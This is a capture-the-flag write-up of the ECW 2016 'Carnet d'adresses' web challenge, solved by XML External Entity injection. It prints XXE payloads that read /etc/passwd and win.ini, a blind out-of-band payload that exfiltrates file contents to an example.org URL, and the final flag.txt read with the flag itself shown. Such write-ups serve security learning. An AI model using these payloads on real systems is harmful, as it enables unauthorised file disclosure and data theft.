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ECW - 150 - Carnet d'adresses - Web

noraj (Alexandre ZANNI)
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Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : European Cyber Week CTF Quals 2016
  • Website : challenge-ecw.fr
  • Type : Online
  • Format : Jeopardy - Student

Description#

N.A.

Solution#

This one is a XML External Entity ([XXE][xxe]) attack and Out-Of-Band (OOB) channel exfiltration is not working.

xxe

We are given the following form:

<contacts>
  <contact>
    <name>Jean Dupont</name>
    <phone>00 11 22 33 44</phone>
    <adress>42 rue CTF</adress>
    <zipcode>42000</zipcode>
    <city>ECW</city>
  </contact>
  <contact>
    <name>Jack Dupont</name>
    <phone>01 02 03 04 05</phone>
  </contact>
</contacts>

And the following answer confirming the well formated XML request:

Création du fichier ./MNfloDfo.xml

Import du fichier :

    Importation de 'Jean Dupont' dans le carnet d'adresses
    Importation de 'Jack Dupont' dans le carnet d'adresses

Suppression du fichier ./MNfloDfo.xml

We should be able to leak data into the answer banner.

Confirmation that entities are interpreted:

<!DOCTYPE contacts
[<!ENTITY xxe "XXE vuln">]>
<contacts>
  <contact>
    <name>&xxe;t</name>
    <phone>00 11 22 33 44</phone>
    <adress>42 rue CTF</adress>
    <zipcode>42000</zipcode>
    <city>ECW</city>
  </contact>
  <contact>
    <name>Jack Dupont</name>
    <phone>01 02 03 04 05</phone>
  </contact>
</contacts>
Création du fichier ./J2tuDR8g.xml

Import du fichier :

    Importation de 'XXE vulnt' dans le carnet d'adresses
    Importation de 'Jack Dupont' dans le carnet d'adresses

Suppression du fichier ./J2tuDR8g.xml

Nice that's working so try to leak some files:

<!DOCTYPE contacts
[<!ENTITY xxe SYSTEM "http://example.org/test">]>

=> doesn't work

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

=> doesn't work

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>

=> doesn't work

[...] and we tried a lot of logical filename on various operating systems.

But how did we find out the right? The challenge required no logic but only guessing ...

I firstly thought the banner was useless because no file was leaked in it. So I thought it was some blind xxe:

<!DOCTYPE contacts [ <!ENTITY % pe SYSTEM "http://example.org/xxe_file"> %pe; %param1; ]>
<contacts>
  <contact>
    <name>&external;</name>
    [...]

xxe_file:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://example.org/log_xxe?data=%payload;'>">

And a tried a lot...

But no, in fact no files were leakable exept flag.txt. It was impossible to find out it was just guessing because rules and description didn't mention any convention.

I passed hours on days to craft sophishticated blind xxe requests and it was only a very easy xxe but filename had to be guessed, it was easy to think that xxe was not working as others files was not leaked.

Realistic challenge should have be better.

But indeed some people find it realy easily as flag.txt can be common in CTF.

I insist on the fact that's is only CTF guessing, in real life this never occurs.

Here was the easy XXE :

<!DOCTYPE contacts
[<!ENTITY xxe SYSTEM "flag.txt">]>
<contacts>
  <contact>
    <name>&xxe;</name>
    <phone>00 11 22 33 44</phone>
    <adress>42 rue CTF</adress>
    <zipcode>42000</zipcode>
    <city>ECW</city>
  </contact>
  <contact>
    <name>Jack Dupont</name>
    <phone>01 02 03 04 05</phone>
  </contact>
</contacts>
Création du fichier ./WDpFYEM5.xml

Import du fichier :

    Importation de 'ECW{8dd72b9b3095380de595d734492d69c9} ' dans le carnet d'adresses
    Importation de 'Jack Dupont' dans le carnet d'adresses

Suppression du fichier ./WDpFYEM5.xml
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